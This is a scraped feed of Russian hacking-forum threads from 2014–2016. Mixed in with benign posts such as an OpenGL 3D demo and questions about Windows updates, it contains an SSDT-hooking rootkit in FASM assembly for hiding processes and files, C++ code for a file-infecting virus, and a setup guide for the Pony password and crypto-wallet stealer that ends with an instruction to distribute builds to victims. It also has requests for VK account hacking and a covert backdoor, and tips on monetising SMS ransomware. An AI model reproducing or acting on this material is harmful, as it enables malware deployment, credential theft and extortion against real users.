delfcode

Есть кто живой?

ramzeswr — Sat, 23 Apr 2016 19:17:32 GMT

Форум: Свободное общение
Автор темы: ramzeswr
Автор последнего сообщения: XSPY
Количество ответов: 3

[FASM] Cкрыть процесс, файл, директорию.

Marra_Kesh — Sun, 17 Apr 2016 16:54:19 GMT

Код

format pe native
section '' readable writeable executable
    entry $
mov eax,[esp+4]
mov dword [eax+0x34],DriverUnload

mov eax,[KeServiceDescriptorTable]
mov ecx,[eax+8]
mov eax,[eax]
mov edx,[NtQuerySystemInformation]

    list1:

cmp edx,[eax+ecx*4-4]
jz listed1
loop list1

jmp exit

    listed1:
lea eax,[eax+ecx*4-4]
mov [adres1],eax

mov dword [eax],hook1

mov eax,[KeServiceDescriptorTable]
mov ecx,[eax+8]
mov eax,[eax]
mov edx,[NtQueryDirectoryFile]

    list2:

cmp edx,[eax+ecx*4-4]
jz listed2
loop list2

jmp exit

    listed2:
lea eax,[eax+ecx*4-4]
mov [adres2],eax

mov dword [eax],hook2

exit:
xor eax,eax
retn 8

    DriverUnload:
mov ecx,[NtQuerySystemInformation]
mov edx,[adres1]
mov [edx],ecx

mov ecx,[NtQueryDirectoryFile]
mov edx,[adres2]
mov [edx],ecx
retn 4

    hook1:
cmp dword [esp+4],5
jne wrong1

mov esi,[esp+8]
mov edi,[esp]
mov dword [esp],procedure1

    wrong1:
jmp [NtQuerySystemInformation]

    procedure1:
test eax,eax
jnz err1

jmp next1

    query1:
add esi,[esi]

cmp [esi+60],eax
je next1

mov edx,[esi+60]
cmp dword [edx],0x00240024
jne next1

mov edx,[esi]
test edx,edx
jz zero1
add [ebx],edx
jmp keep1
    zero1:
mov [ebx],eax
jmp keep1

    next1:
mov ebx,esi
    keep1:

cmp [esi],eax
jnz query1

err1:
jmp edi

    hook2:
cmp dword [esp+32],3
jne wrong2

mov esi,[esp+24]
mov edi,[esp]
mov dword [esp],procedure2

    wrong2:
jmp [NtQueryDirectoryFile]

    procedure2:
test eax,eax
jnz err2

jmp next2

    query2:
add esi,[esi]

cmp dword [esi+94],0x00240024
jne next2

mov edx,[esi]
test edx,edx
jz zero2
add [ebx],edx
jmp keep2
    zero2:
mov [ebx],eax
jmp keep2

    next2:
mov ebx,esi
    keep2:

cmp [esi],eax
jnz query2

err2:
jmp edi
    adres1 rd 1
    adres2 rd 1

section '' import readable
dd RVA ntoskrnl_table,0,0,RVA ntoskrnl_name,RVA ntoskrnl_table
dd 0,0,0,0,0

    ntoskrnl_table:
    KeServiceDescriptorTable dd RVA _KeServiceDescriptorTable
    NtQuerySystemInformation dd RVA _NtQuerySystemInformation
    NtQueryDirectoryFile dd RVA _NtQueryDirectoryFile
dd 0

    ntoskrnl_name db 'ntoskrnl.exe',0

    _KeServiceDescriptorTable db 0,0,'KeServiceDescriptorTable',0
    _NtQuerySystemInformation db 0,0,'NtQuerySystemInformation',0
    _NtQueryDirectoryFile db 0,0,'NtQueryDirectoryFile',0

section '' fixups discardable

.bat файл для запуска

На Win8 не сработала. Интересно поЩАму?

[C/C++] Драйвер - сниффер

Neo — Mon, 04 Apr 2016 07:41:36 GMT

Форум: Остальные языки программирования
Описание темы: Драйвер - сниффер
Автор темы: Neo
Автор последнего сообщения: Neo
Количество ответов: 4

Как получить короткий номер смс для блокера БЕСПЛАТНО!

cool1 — Mon, 07 Dec 2015 19:27:09 GMT

И так читаем:
1)Вам нужен кошелек в WebMoney
2)Вам нужен вирь блокер (если его нет читаем тут https://delfcode.ru/forum/10-105-1)
3)Сайт хоть на бесплатном хостинге но с инфой!
Вот теперь:
1)Регаемся тут http://smsbil.ru
2)Создаем смс капилку для сайта
3)В капилке в поле ответном сообщение пишем код для активации просто цифры без слов!!!
4)Плюс в http://smsbil.ru там номер и текст для отправки смс не меняется ( как в некоторых)
5)Устанавливаем копилку на сайт!
6)Сайт можно создать на этом бесплатном хостинге ну и залить мутью http://narod.ru
7)Главное пройти проверку модером!
8)Вставляем код и номер в блокер!
9)Все =))))
10)Если вам понравилась моя статья то пишите + в рейтинг! я буду этому рад =))) Вот ссыла на мой профайл https://delfcode.ru/index/8-5732

Собрание видеоуроков быдлокодеров для поднятия настроения

Neo — Tue, 17 Nov 2015 20:48:48 GMT

Всем привет! Вот пришла мне идея сюда выкладывать ссылки на видеоуроки от школоты всякой в целях поднятия настроения
Я,например,вот что нашёл как написать программу на delphi

Pony 2.0 + Open Source

d4rkzy — Thu, 22 Oct 2015 16:37:55 GMT

Всем привет, заметил что много и часто люди не могут найти рабочий стиллер. Так как всем известный UFR умер. Вот выкладываю вам пони самую новую версию. Ворует пороли почти от всего где они есть =D Ниже будет список. Огромный полюсы этого стиллера что он очень просто очень редко не варует пароли из 100 зараженных может быть 1 холостой ) И еще особенность которая вас очень удивит и подбодрит, стиллер после запуска жертвы, остается в системе и если жертва сохраняет новые пароли они приходят к вам на gate, уже без запуска стиллера. Так же имеется лаодер. Но один нюанс, отправка паролей происходит только на php gate, скрины тоже будут ниже и полное описание. Подробности установки описывать не буду не осудите уж. Кому нужно тот умеет. Если уж что то будет не выходить можно в ютубе название стиллера написать, там будет пару уроков. Ну или уже на совсем крайний случай напишите мне в лс. Собираем пароли из: FAR Manager, Total Commander, WS_FTP, CuteFTP, FlashFXP, FileZilla, FTP Commander, BulletProof FTP, SmartFTP, TurboFTP, FFFTP, CoffeeCup FTP, CoreFTP, FTP Explorer, Frigate3 FTP, SecureFX, UltraFXP, FTPRush, WebSitePublisher, BitKinex, ExpanDrive, ClassicFTP, Fling, SoftX, Directory Opus, FreeFTP, DirectFTP (определяется как FreeFTP), LeapFTP, WinSCP, 32bit FTP, NetDrive, WebDrive, FTP Control, Opera, WiseFTP, FTP Voyager, Firefox, FireFTP, SeaMonkey, Flock, Mozilla Suite Browser, LeechFTP, Odin Secure FTP Expert, WinFTP, FTP Surfer, FTPGetter, ALFTP, Internet Explorer, Dreamweaver, DeluxeFTP, Google Chrome, Chromium, SRWare Iron (определяется как Chromium), ChromePlus, Bromium (Yandex Chrome), Nichrome, Comodo Dragon, RockMelt, K-Meleon, Epic, Staff-FTP, AceFTP, Global Downloader, FreshFTP, BlazeFTP, NETFile, GoFTP, 3D-FTP, Easy FTP, Xftp, FTP Now, Robo-FTP, LinasFTP, Cyberduck, Putty, Notepad++ (NppFTP), CoffeeCup Visual Site Designer, CoffeeCup Sitemapper (определяется как CoffeeCup FTP), FTPShell, FTPInfo, NexusFile, FastStone Browser, CoolNovo, WinZip, Yandex.Internet, MyFTP, sherrod FTP, NovaFTP, Windows Mail, Windows Live Mail, Pocomail, Becky!, IncrediMail, The Bat!, Outlook, Thunderbird, FastTrackFTP, Я.Браузер, Bitcoin, Electrum, MultiBit, FTP Disk.

1. Реализован сбор кошельков Bitcoin для оригинального клиента, а также Electrum, MultiBit, Litecoin, Namecoin, Terracoin, Bitcoin Armory, PPCoin (Peercoin), Primecoin, Feathercoin, NovaCoin, Freicoin, Devcoin, Frankocoin, ProtoShares, MegaCoin, Quarkcoin, Worldcoin, Infinitecoin, Ixcoin, Anoncoin, BBQcoin, Digitalcoin, Mincoin, Goldcoin, Yacoin, Zetacoin, Fastcoin, I0coin, Tagcoin, Bytecoin, Florincoin, Phoenixcoin, Luckycoin, Craftcoin, Junkcoin
2. Реализован сбор паролей из Я.Браузер, FTP Disk, новых версий Opera (основанных на коде Chrome)
3. При работе программы от имени пользователя SYSTEM (сервиса Windows) лоадер теперь будет запускать файл с правами активной сессии (залогиненного) пользователя
4. Доработан сбор паролей Firefox, теперь не зависит от наличия библиотек SQLite3
5. Опциональный резервный режим загрузчика: если успешно загружен первый файл - остальные будут пропущены
6. Добавлена возможность отключить сбор паролей (оставить только лоадер)
7. Исправлен процессинг SQLite3 файлов для Chrome / Firefox содержащих 48 bit integers
8. Исправлен серьезный баг в нескольких функциях, который мог приводить к ошибкам при сборе паролей и вылету программы

КАК НАСТРОИТЬ:

1. Для начала нам нужно взять бесплатный хостинг, советую всем попробовать beget.ru (там есть бесплатный тариф + скорость передачи файлов FTP больше чем у hostinger)
2. Создаем базу данных (БД)
3. Загрузим файлы из папки "Panel",которая находится в архиве с программой, на наш хостинг. Для быстрой загрузки советую воспользоваться FileZilla — бесплатный FTP клиент
4. Изменим содержание файла config.php, внеся данные нашего БД
5. Теперь перейдём по адресу http://yousite.ru/setup.php, где увидим окошко установщика. Придумаем и введём логин и пароль для нашей админки

6. Жмём "Install" и видим надпись о том, что установка завершена и мы можем перейти в панель администрирования

7. Переходим на вкладку "Управление", выбираем пункт "Параметры сервера" и придумываем пароль для того, чтобы мы могли в дальнейшем расшифровать отчёты (которые Пони шифрует). Всё с виртуальной частью мы закончили

8. Переходим в папку с нашим билдером и запускаем PonyBuilder.exe

9. Во вкладке "Билдер" прописываем путь до гейта http://yousitu.ru/gate.php (как показано на постере к новости) 10. Затем можно добавить во вкладку "Лоадер", ссылки на файлы которые будут загружаться после запуска программы. Затем жмем "создать билд" и раскидываем созданный файл .exe всем!
10. Затем можно добавить во вкладку "Лоадер", ссылки на файлы которые будут загружаться после запуска программы. Затем жмем "создать билд" и раскидываем созданный файл .exe всем!

Скачать/Download

Послать ответ на капчу direct.yandex.ru/search

mrDenFox — Sat, 10 Oct 2015 18:32:28 GMT

Все привет.Капчу я скачал, а что дальше, как отправить ответ?
Вот пример как я делаю:
idhttp1.get('http://direct.yandex.ru/search/?captcha_id='+Parsing('image?key="',a,'"')+'&
captcha_code='+Edit1.Text) или
PostData:= TStringList.Create;
PostData.Add('captcha_code='+Edit1.Text);
idhttp1.post('http://direct.yandex.ru/search/',postdata);
правильно? но почему-то не срабатывает

Запрет обновления windows 8 до windows 8.1

Anton93 — Mon, 21 Sep 2015 14:44:21 GMT

Доброго времени суток.

Пару недель назад появилась проблема, которая изолировала нормальную работу всех моих ПК под управлением Windows 8.

Суть проблемы в том, что после выхода обновления 8.1, стало появляться назойливое окно о предложении проапргрейдить свою ОС до более новой. Но если раньше его можно было отбить соответствующей кнопкой, то сейчас меня ставят тупо перед фактом о том что - дистрибутив загружен и готов к установке. Причем откладывать тоже можно не бесконечно, в какой то момент во сплывающем окне остается только кнопка перезагрузить, после чего начинается принудительное обновление до 8.1.

Сразу отвечу на вопросы почему я против этого обновления:
Как я и предполагал, установления обновления на "горячую" ОС ни к чему хорошему не приводит, сотни конфигураций, драйверов, служб итд повылетали нахер, многое оказалось не совместимо, понизилась производительность, итд.

Я начал искать как можно легально принудительно запретить установку обновления. Нашел бюллетень безопасности, который интегрирует загрузчик обновления до 8.1. Грохнул. И запретил устанавливать его вообще. Проблема пропала на наделю. Сегодня я опять в корне C: обнаружил папку $windows.~bt, скрытый каталог куда загружается обновление. И оно было опять загружено (все 6ГБ).

Собственно самый главный вопрос: как легально запретить насильное обновление?

Разумного ответа в сети - я не нашел. Но недокументированные возможности по этой вещи точно есть. Прошу, кто знает, подскажите.

P.S. впринципе можно отследить процесс который пишет их теперь, но у меня сейчас завал в реале, некогда исследованиями заниматься.
Windows 8 лицензия. Дистрибутив OEM.

В контакте

Лова — Tue, 15 Sep 2015 16:19:01 GMT

Нужен человек, способный взламывать страницы ВКонтакте.
От 20 страниц в неделю, работа стабильная, оплата по факту либо работаем через гаранта.

Связь:
ICQ - 698882980
Почта: ivakaha@yandex.ru

[C++] Файловый инфектор

Slash — Sat, 01 Aug 2015 15:12:28 GMT

Вообщем, такой код набросал:

Код

#include
#include
#include
#include
#include
#include
#include

char FileAlignment;

DWORD CureLastSection(char* pFileMap)
{
   PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap;
   PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew);
   PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders);
   int numSections = pNTHeaders->FileHeader.NumberOfSections;
   for(int i = 0; i < numSections; i++){
    if(i == numSections-1){
      pSectionHeader->Misc.VirtualSize += 0x40000;
      pSectionHeader->SizeOfRawData += 0x40000;
      pNTHeaders->OptionalHeader.SizeOfImage += 0x40000;
      pSectionHeader->Characteristics = 0xa0000020;
      pNTHeaders->OptionalHeader.SizeOfImage = pSectionHeader->Misc.VirtualSize + pSectionHeader->VirtualAddress;
      pNTHeaders->OptionalHeader.AddressOfEntryPoint = pSectionHeader->VirtualAddress;
      MessageBoxA(0, (const char*)pSectionHeader->Name, "Sec name:", 0);
      MessageBoxA(0, "Last Section Curred!", ":)", 0);
    } else pSectionHeader++;
   }
   return 0;
}

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){

   HANDLE hFile, hVir, hMapping;
   DWORD d, offset;
   DWORD br;
   char *mapping, *entry;
   PIMAGE_DOS_HEADER dos;
   PIMAGE_NT_HEADERS nt;
   char virBytes[16384];
   int i;

   DeleteFile( L"C:\\AAA\\1.exe");

   CopyFile(L"C:\\AAA\\1_copy.exe", L"C:\\AAA\\1.exe", false);

   hFile = CreateFile(L"C:\\AAA\\1.exe", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0);

   if(hFile!=INVALID_HANDLE_VALUE)
   {
    d = GetFileSize(hFile, 0);
    hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0);
    mapping = (char*)MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d);
    dos = (PIMAGE_DOS_HEADER)mapping;
    nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);


    DWORD dwBytesWritten = 0;

    hVir = CreateFile(L"C:\\AAA\\inf.exe", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);
    SetFilePointer(hVir, 0, NULL, FILE_BEGIN);
    ReadFile(hVir, virBytes, 16384, &br, NULL );
    CloseHandle(hVir);

    SetFilePointer(hFile, 90112, NULL, FILE_BEGIN);
    WriteFile( hFile, virBytes, 16384, &br, NULL );

    CureLastSection(mapping);

    UnmapViewOfFile(mapping);
    CloseHandle(hMapping);
    CloseHandle(hFile);

    MessageBoxA(0, "OK", ":)", 0);

   }else MessageBoxA(0, "Cant open!", ":)!", 0);

   return 1;
}

Но не работает - почему?
Алгоритм:
1.Дописываю тело inf.exe в конец жертвы 1.exe
2.Ищу последнюю секцию
3.Расширяю ее(а правильно ли??? Если нет - подскажите в чем ошибка)
4.Меняю точку входа на начало последней секции(а так можно? может нужно на конец последней секции? а может на новую точку входа inf.exe)

ICQ-backdor

pavelpasha — Mon, 15 Jun 2015 19:03:33 GMT

Лет 5 назад у Вас на форуме нашел простенький ICQ бэкдор. С билдером и мануалом. Не было возни ни с настройкой DNS, ни с портами, ни с фаерволами. По своей стабильности и ресуросемкости, а также весу сервера оставлял далеко позади своих громоздких братьев с бэкконектом. Но самое главное! Не палился. Ничем! Никаких крипторов, публичные копии которых попадали в базы уже на след. Функционал - для моих целей более чем достойный. Во всяком случае всегда можно воспользоваться функцией загрузки и загрузить на компьютер жертвы что душе угодно. Никой мороки! С тех пор утекло много воды, интерес со временем остыл и все файлы были удалены. А в последнее время появилась надобность, и подумал что он подошел бы идеально. Но вот беда - теперь не могу найти. Хочется иметь доступ к 1-2 компьютерам лично знакомых мне людей. Громоздкие RAT-ы даже рассматривать не хочу. Куча свистоперделок и суета с крипторами, отстуком стабильностью и т.д. Может завалялся у кого?
PS: Надеюсь не ошибся разделом.

HTTP Mysql

d4rkzy — Thu, 16 Apr 2015 14:33:50 GMT

Форум: Свободное общение
Автор темы: d4rkzy
Автор последнего сообщения: d4rkzy
Количество ответов: 0

деобфускация javaScript

MAS — Fri, 10 Apr 2015 17:33:36 GMT

вот тут нашел кое что, интересно что там??? . Кто может деобфуцировать код:

Хостинг для кейлоггера

ETUN4 — Thu, 19 Mar 2015 04:00:05 GMT

Какие хостинги вы используете для отправки логов работы кейлоггера?
Пробовал на hostinger.ru, так он через несколько тестов начал искажать файлы, которые отправляю.

Конец поддержки Windows XP. 8 апреля 2014.

Anton93 — Tue, 17 Mar 2015 10:54:28 GMT

Собсвенно сабж в названии темы.
ОС сейчас по сервисам статистики остается ВТОРОЙ по популярности в мире.
Для тех кто не знает чем опасно прекращение поддержки, объясняю: Перестанут выходить обновления безопасности, это значит что уязвимости в системе, найденные после 8 апреля 2014 будут всегда нулевого дня. О том что это такое, и что это дает, думаю здесь многие знают, расписывать не буду.

Собственно вопросы: какие дальше будут перспективы? неужели майкрософт бросит четверть юзеров по миру? мб сделать ее опенсорсной?

Windows 8.1 UAC

xXxSh@dowxXx — Sat, 07 Mar 2015 14:45:00 GMT

Google раскрыла подробности о критической бреши в Windows 8.1

Уязвимость позволяет скомпрометировать целевую систему путем обхода функционала UAC.
Эксперты компании Google из Project Zero опубликовали подробности критической уязвимости в операционной системе Windows 8.1 от Microsoft, передает Naked Security. В настоящий момент брешь все еще не устранена.

Подробности уязвимости были обнародованы автоматически поскольку с того момента, как исследователи уведомили разработчиков о наличии бреши прошло 90 дней. Соответствующее предупреждение было отправлено Microsoft еще 30 сентября прошлого года.

Как следует из уведомления Google, брешь находится в механизме контроля учетных записей пользователей (UAC), а точнее в функции NtApphelpCacheControl. Эксплуатация уязвимости позволяет вредоносным приложениям обойти ограничения UAC. Таким образом, программы злоумышленников могут работать на инфицированной системе с административными привилегиями.

Стоит отметить, что в качестве мер предосторожности пользователи могут использовать административную учетную запись, что исключает необходимость использования системой как UAC в целом, так и его уязвимых компонентов.

PS: взято отсюда - http://zhacker.net/it-news/2582-uyazvimost-v-windows-81.html

OneDrive

Marra_Kesh — Thu, 26 Feb 2015 06:58:57 GMT

OneDrive — это бесплатное интернет-хранилище, предоставляемое вместе с учетной записью Microsoft. Это словно дополнительный жесткий диск, доступный со всех используемых вами устройств. Больше не нужно отправлять себе файлы по электронной почте или носить с собой USB-устройство флэш-памяти, рискуя его потерять. Работая над презентацией на ноутбуке, просматривая фотографии с семейного отпуска на планшете или составляя список покупок на телефоне, вы сможете использовать свои файлы из OneDrive.
Microsoft предоставляет 15ГБ бесплатно.
Пригласите друга в OneDrive, и вы оба получите дополнительно по 500 МБ. Пригласили 10 друзей? Получите максимальное вознаграждение — 5 ГБ.

Ребята давайте поможем друг другу.

Я в армии

MAS — Wed, 04 Feb 2015 19:43:22 GMT

Форум: Свободное общение
Описание темы: я в армии, *ля
Автор темы: MAS
Автор последнего сообщения: Anton93
Количество ответов: 3

[C/C++] Простейший 3D мир

Волк-1024 — Fri, 23 Jan 2015 16:46:44 GMT

С недавних пор я занялся изучением программированием 3D графики, посему выкладываю свои недописанные наброски на С.
В интернете достаточно много примеров, но они все слишком громоздкие и труднопонимаемые. Я же постарался сделать всё кратко.
Изначально всё писалось с использованием библиотеки Freeglut.dll, но чтобы не отступать от своих принципов, сделал всё на голых вызовах и WinApi)

Из недописанного по причине лени(выкинуто из кода): стрейф камеры, загрузка текстур и свет.
Если данный пример вас заинтересует, то в следующий раз я реализую недописанное, возможно на Делфи.

Управление: мышь + wasd, выход на Esc.

Код

#include
#include
#include
#include

#define VK_W  0x057
#define VK_S  0x053
#define VK_A  0x041
#define VK_D  0x044

typedef struct TVector3D
{
    GLdouble  x;
    GLdouble  y;
    GLdouble  z;
}
TVector3D;

typedef struct TCameraObject
{
    TVector3D  Pos;  // Вектор позиции камеры.
    TVector3D  View; // Вектор направления камеры.
    TVector3D  Up;   // Вертикальная ось.
}
TCameraObject;

HDC hDC;
HGLRC hRC;
HWND hMainWindow;
int AppWidth, AppHeight;

TCameraObject Camera = {{0.0, 2.5, 5.0}, {0.0, 2.5, 0.0}, {0.0, 1.0, 0.0}}; // А вот такого в Делфи нельзя

TVector3D NormalizeVector(TVector3D Vector)
{
    TVector3D Result;

    double Length = sqrt((Vector.x * Vector.x) + (Vector.y * Vector.y) + (Vector.z * Vector.z));

    Result.x = Vector.x / Length;
    Result.y = Vector.y / Length;
    Result.z = Vector.z / Length;

    return Result;
}

TVector3D CrossVectors(TVector3D Vector1, TVector3D Vector2)
{
    TVector3D Result;

    Result.x = ((Vector1.y * Vector2.z) - (Vector1.z * Vector2.y));
    Result.y = ((Vector1.z * Vector2.x) - (Vector1.x * Vector2.z));
    Result.z = ((Vector1.x * Vector2.y) - (Vector1.y * Vector2.x));

    return Result;
}

void RotateCamera(double Speed)
{
    TVector3D Vector;

    Vector.x = Camera.View.x - Camera.Pos.x;
    Vector.z = Camera.View.z - Camera.Pos.z;

    Camera.View.z = Camera.Pos.z + sin(Speed) * Vector.x + cos(Speed) * Vector.z;
    Camera.View.x = Camera.Pos.x + cos(Speed) * Vector.x - sin(Speed) * Vector.z;
}

void MoveCamera(double Speed)
{
    TVector3D Vector = {0};
    /*
      Получаем вектора(направление) взгляда
    */
    Vector.x = Camera.View.x - Camera.Pos.x;
    Vector.z = Camera.View.z - Camera.Pos.z;

    Vector = NormalizeVector(Vector);
    /*
      Полученное направление, помноженное на скорость, прибавляем к позиции камеры и к позиции взгляда.
      Тем самым передвигая камеру вперёд или, если Speed отрицательное - назад.
    */
    Camera.Pos.x  += Vector.x * Speed;
    Camera.Pos.z  += Vector.z * Speed;
    Camera.View.x += Vector.x * Speed;
    Camera.View.z += Vector.z * Speed;
}

void DrawGrid()
{
    for (float i = -50; i <= 100; i += 5)
    {
       glBegin(GL_LINES);
           glVertex3f(-50, 0, i);
           glVertex3f(100, 0, i);
           glVertex3f(i, 0,-50);
           glVertex3f(i, 0, 100);
       glEnd();
    }
}

void RenderScene(HDC hDC)
{
    glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT); // Очищаем буфер цвета и буфер глубины.
    glLoadIdentity();
    /*
        Устанавливаем вектора камеры.
    */
    gluLookAt(Camera.Pos.x,  Camera.Pos.y,  Camera.Pos.z,
              Camera.View.x, Camera.View.y, Camera.View.z,
              Camera.Up.x,   Camera.Up.y,   Camera.Up.z);

    DrawGrid(); // Рисуем сетку.
    glTranslatef(0.0, 30.0, 0.0); // Вторую сетку поднимим на 30 чего-то там по Y)
    DrawGrid();;

    SwapBuffers(hDC);
}

void MouseMove(int xMouse, int yMouse)
{
    double xAngle = (double)((AppWidth >> 1)  - xMouse) * 0.0005;
    double yAngle = (double)((AppHeight >> 1) - yMouse) * 0.0010;

    if (Camera.View.y > 8.0)  Camera.View.y = 8.0;
    if (Camera.View.y < -3.0) Camera.View.y = -3.0;

    Camera.View.y += yAngle;
    RotateCamera(-xAngle);

    SetCursorPos(AppWidth >> 1, AppHeight >> 1);
    RenderScene(hDC);
}

void KeyboardInput(int Key)
{
    switch (Key)
    {
      case VK_W: MoveCamera(0.5);      // Движние вперёд.
                 break;
      case VK_S: MoveCamera(-0.5);     // Назад.
                 break;
      case VK_D: RotateCamera(0.025);  // Вправо.
                 break;
      case VK_A: RotateCamera(-0.025); // Влево
                 break;

      case VK_ESCAPE:
               {
                 PostQuitMessage(0);
               }
    }
}

void ResizeScene(int nWidth, int nHeight)
{
    AppWidth  = nWidth;
    AppHeight = nHeight;

    glViewport(0, 0, nWidth, nHeight);
    glMatrixMode(GL_PROJECTION);
    glLoadIdentity();
    gluPerspective(45.0, nWidth / nHeight, 0.1, 0); // Устнавливаем поле обзора в 45 градусов, соотношение сторон, передний и задний план.
    glMatrixMode(GL_MODELVIEW);
    glLoadIdentity();
}

void EnableOpenGL(HWND hWindow, HDC* hDC, HGLRC* hRC)
{
    PIXELFORMATDESCRIPTOR PixelFormat = {0};

    PixelFormat.nSize      = sizeof(PIXELFORMATDESCRIPTOR);
    PixelFormat.nVersion   = 1;
    PixelFormat.dwFlags    = PFD_DRAW_TO_WINDOW |
                             PFD_SUPPORT_OPENGL |
                             PFD_DOUBLEBUFFER;
    PixelFormat.iPixelType = PFD_TYPE_RGBA;
    PixelFormat.cColorBits = 24;              // Глубина цвета.
    PixelFormat.cDepthBits = 16;              // Размер буфера глубины.
    PixelFormat.iLayerType = PFD_MAIN_PLANE;  // Тип плоскости.

    if (!(*hDC = GetDC(hWindow)))
       return;

    if (!(SetPixelFormat(*hDC, (ChoosePixelFormat(*hDC, &PixelFormat)), &PixelFormat)))
       return;

    if (!(*hRC  = wglCreateContext(*hDC)))
       return;

    if (!(wglMakeCurrent(*hDC, *hRC)))
       return;
}

LRESULT CALLBACK WindowProc(HWND hWindow, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
    switch (uMsg)
    {
       case WM_SIZE      : ResizeScene(LOWORD(lParam), (HIWORD(lParam))); // Обработка изменения размеров главного окна.
                           break;
       case WM_PAINT     : RenderScene(hDC);                    // Отрисовка кадра.
                           break;
       case WM_CREATE    : EnableOpenGL(hWindow, &hDC, &hRC);             // Инициализация OpenGL.
                           break;
       case WM_KEYDOWN   : KeyboardInput(wParam);                         // Обработка нажатий клавиш на клавиатуре.
                           break;
       case WM_MOUSEMOVE : MouseMove(LOWORD(lParam), (HIWORD(lParam)));   // Обработка движения мыши.
                           break;
       default:
            return DefWindowProc(hWindow, uMsg, wParam, lParam);
    }
    return 0;
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    MSG Msg;
    WNDCLASSEX WindowClass;

    WindowClass.cbSize        = sizeof(WNDCLASSEX);
    WindowClass.style         = CS_OWNDC;
    WindowClass.lpfnWndProc   = WindowProc;
    WindowClass.cbClsExtra    = 0;
    WindowClass.cbWndExtra    = 0;
    WindowClass.hInstance     = hInstance;
    WindowClass.hIcon         = LoadIcon(0, IDI_APPLICATION);
    WindowClass.hCursor       = LoadCursor(0, IDC_ARROW);
    WindowClass.hbrBackground = 0;
    WindowClass.lpszMenuName  = 0;
    WindowClass.lpszClassName = "GLClass";
    WindowClass.hIconSm       = LoadIcon(0, IDI_APPLICATION);

    if (!RegisterClassEx(&WindowClass))
    {
       MessageBox(0, "Невозможно зарегистрировать класс окна.", "Шайссе!", MB_ICONERROR);
       return 0;
    }

    hMainWindow = CreateWindowEx(0,
                    "GLClass",
                    "OpenGL 3D",
                    WS_POPUPWINDOW, // Окно создастся без оконной рамки.
                    0,
                    0,
                    800,            // Ширина окна.
                    600,            // Высота.
                    0,
                    0,
                    hInstance,
                    0);
     if (!hMainWindow)
     {
       MessageBox(0, "Невозможно создать окно.", "Шайссе!", MB_ICONERROR);
       return 0;
     }

     ShowWindow(hMainWindow, SW_MAXIMIZE);
     ShowCursor(0);

     while (Msg.message != WM_QUIT)
     {
        if (PeekMessage(&Msg, 0, 0, 0, PM_REMOVE))
        {
           TranslateMessage(&Msg);
           DispatchMessage(&Msg);
        }
        else
           SendMessage(hMainWindow, WM_PAINT, 0, 0); // Посылаем окну сообщение на отрисовку следующего кадра. (Лучше сделать в отдельном потоке)
     }
    return Msg.wParam;
}

Волк-1024 (с)

!!БАНЫ!!

dolphin — Wed, 07 Jan 2015 12:43:03 GMT

Форум: delfcode.ru
Автор темы: dolphin
Автор последнего сообщения: Anton93
Количество ответов: 2

Подскажите код

akatew — Sun, 04 Jan 2015 19:37:35 GMT

Q All. Я собираюсь написать программу, суть этой программы такова, если жертва запустит программу и перейдет на какую-то страницу сайта, тот на той странице будет изменен некоторый текст, например написано "Добро пожаловать" а программа заметит его на "Ку всем".
Подскажите код пожалуйста, я в интернете ничего о таком коде не нашел.

Безисходность

FakeCodeByte — Sun, 28 Dec 2014 09:45:13 GMT

Форум: Свободное общение
Автор темы: FakeCodeByte
Автор последнего сообщения: Slash
Количество ответов: 5

Рабочие столы

C@T — Tue, 18 Nov 2014 15:41:59 GMT

предлагаю всем выложить сюда скрины своих рабочих столов, думаю будет интересно посмотреть у кого какая красота, или творческий безпорядок на рабочем столе

так как операционных систем у меня 3( винда, Back Track, kubuntu) поэтому и скринов выложу несколько(без бэк трека, ибо сижу под ним не часто и из-за набора софта типа метасплоита, ettercap и т.д, люблю в кафешках играться)

Винда:

Kubuntu:

P.S
под кубунтой у меня стоит апатч и кодю я там в остновном что то связанное с вебом, ну или что то на QT, под виндой больше кодю в студии на с++

Немного размышлений о VX сегодня

Anton93 — Tue, 14 Oct 2014 15:32:54 GMT

Все, что описано ниже, моё личное мнение, которое я обосную на фактах, оно может быть ошибочным, это нормально, посему критику очень приветствую.

За последние 2 года, по данным облачных АВ сервисов, и личной статистике, я уже не вижу массовой эпидемии какого-нибудь червя, как это было лет 5 назад. Я не беру во внимание примитивные Autorun-поделки, которых раньше кодилось тоннами, я говорю о серьезных продуктах, таких как Sality, Virut. Которые для распространения заражают исполняемые файлы, в качестве основной техники используют EPO (сокрытие точки входа), основной код при этом шифруется, генерится один или несколько декрипторов, и цепляется к последней секции.

Так о чем это я?
Куда все это ушло? Что поменялось за пару лет?

По моим наблюдениям алгоритмы работы АВ не сильно изменились. Технике EPO, уже лет 10, если не ошибаюсь, и она до сих пор канает. Декрипторы метаморфные, оставшийся статичный код перезашифровывается каждый раз, и получившаяся последовательность байт тоже не постоянна. Перенеся все это на Server-side уровень, мы лишаем эвристику и АВ-контор любого шанса создать сигнатуру. Ведь генератора семплов не будет в самом теле, соответственно нельзя угадать как расшифровщик будет выглядеть в следующий раз. Нет, ты сейчас скажешь, что хитрые аверы назаражают 10 000 EXE'мпляров и постараются сделать некую регулярку, чтобы обнаружить его, но тогда можно применить технологию медленного метаморфизма, когда генерация происходит из внешних факторов среды, например в одно время дня, семплы генертся по одной конструкции, в остальное, по другой. И таких вариаций может быть ооочень много.

Собственно, самый главный вопрос из всего того что я написал выше: применяя все эти техники можно создать червя которых с легкостью может распространиться на очень большие масштабы, однако сегодня я этого не вижу, почему?

Прошу обратить внимание, я исключил из текста:
1) использование эксплоитов, так как по большей части для них нужны либо хорошие деньги (ага LNK-Exploit ой как дорого помню на забугорных форумах толкали), либо очень высокая квалификация и терпение для реверсинга;
